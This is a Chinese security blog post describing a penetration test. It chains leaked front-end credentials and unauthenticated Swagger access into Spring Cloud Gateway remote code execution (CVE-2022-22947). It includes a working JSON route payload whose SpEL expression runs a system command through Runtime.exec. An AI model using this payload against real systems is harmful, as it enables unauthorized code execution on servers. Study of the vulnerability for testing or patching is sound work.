swagger未授权到spring rce

admin 2024年2月29日15:36:14评论29 views字数 1028阅读3分25秒阅读模式

免责声明

本公众号着重分享技术内容,所提供信息旨在促进技术交流。对于因信息使用而引起的任何损失,本公众号及作者概不负责。请谨慎行事,安全至上。

前言

记一次渗透测试实战挖到的漏洞,spring rce漏洞主要也是通过swagger未授权得到的。

swagger未授权到spring rce

前端js泄露密码

1.渗透第一步f12,简单查看前端有信息泄露没。

swagger未授权到spring rce

swagger未授权到spring rce

2.使用f12与findsomething火狐插件都可以看到账号密码,并且成功登录。

swagger未授权到spring rce

swagger未授权访问

1.BP插件成功扫描到有swagger未授权漏洞

swagger未授权到spring rce

2.验证swagger未授权后,并发现了网关的路由信息,尝试有没有Spring Cloud Gateway 远程代码执行漏洞。

swagger未授权到spring rce

Spring rce(CVE-2022-22947)

漏洞介绍:

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

3月1日,VMware发布安全公告,Spring Cloud Gateway中存在远程代码执行漏洞(CVE-2022-22947),该漏洞的CVSSv3评分为10.0。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码。

漏洞验证:

1.创建一个snve2m的路由

swagger未授权到spring rce

2.刷新路由

swagger未授权到spring rce

3.命令执行成功

swagger未授权到spring rce

4. 和前面的步骤一样,只是将value里的值改变为执行命令的payload。(验证创建网关路由即可!) 

{      "id": "snve2m",      "filters": [{        "name": "AddResponseHeader",        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"}        }],      "uri": "https://ip/",      "order": 0}

5.现在xxxhub里已经有关于spring漏洞的GUI,做渗透更方便些。

swagger未授权到spring rce

点击关注下方名片进入公众号

原文始发于微信公众号(大仙安全说):swagger未授权到spring rce

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月29日15:36:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   swagger未授权到spring rcehttp://cn-sec.com/archives/2536827.html

发表评论

匿名网友 填写信息